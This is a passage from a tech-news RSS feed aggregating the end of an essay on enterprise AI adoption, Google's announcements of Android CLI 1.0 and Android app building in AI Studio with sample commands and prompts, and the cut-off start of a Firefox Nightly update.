<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
<p><span></span></p>
<div class="separator">
    <div>
        </div></div>
<p></p>

  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
